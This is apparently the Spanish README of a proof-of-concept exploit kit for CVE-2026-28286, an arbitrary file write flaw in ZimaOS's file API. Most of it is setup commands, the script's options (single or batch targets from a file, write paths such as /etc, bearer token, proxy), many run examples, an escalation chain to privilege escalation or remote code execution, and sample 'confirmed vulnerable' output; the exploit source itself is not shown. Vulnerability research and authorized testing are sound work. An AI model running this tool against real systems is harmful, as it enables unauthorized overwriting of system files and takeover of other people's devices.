
PoC y kit de verificación para CVE-2026-28286, una vulnerabilidad de escritura arbitraria de archivos en ZimaOS, que explota una mala configuración de la API para escribir archivos fuera de los directorios previstos.
De una Configuración Incorrecta de API → Escritura Arbitraria de Archivos → Posible Compromiso del Sistema
/v2_1/files/filegit clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git
cd zimaos-cve-2026-28286-arbitrary-file-write
pip install -r requirements.txt
python3 poc.py
Puedes ver todas las opciones disponibles usando:
python poc.py -h
usage: poc.py [-h] [-u URL] [-t TARGETS] [-p PATH] [--proxy PROXY] [--token TOKEN] [-n ATTEMPTS] [--delay DELAY]
options:
-h, --help show help message and exit
-u, --url URL Single target URL
-t, --targets TARGETS Targets file (batch mode)
-p, --path PATH Custom file path (default: /tmp)
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--token TOKEN Bearer authentication token
-n, --attempts Number of attempts
--delay Delay between batch requests (seconds)
python poc.py
python poc.py -u http://localhost:8080
python poc.py -u http://localhost:8080 -p /tmp
python poc.py -u http://localhost:8080 -p /etc
python poc.py -u http://localhost:8080 -n 5
python poc.py -u http://localhost:8080 --proxy http://127.0.0.1:8080
python poc.py -t targets.txt
python poc.py -t targets.txt --delay 2
python poc.py -u http://target.com -p /tmp -n 3 --proxy http://127.0.0.1:8080 --token YOUR_TOKEN
Usa el modo proxy con Burp Suite para:
El backend no aplica límites del sistema de archivos:
Esto permite escribir en:
/tmp/
/etc/
/usr/local/bin/
Escritura Arbitraria de Archivos
↓
Sobrescribir Configuración / Scripts
↓
Escalada de Privilegios / RCE

[✔] CONFIRMED vulnerable (LISTING_SUCCESS)
Path: /tmp/CVE-2026-28286_⚠️_abc123.txt
Si te resultó útil, considera dar una estrella ⭐ Ayuda a que más investigadores descubran este trabajo.
Solo para pruebas autorizadas.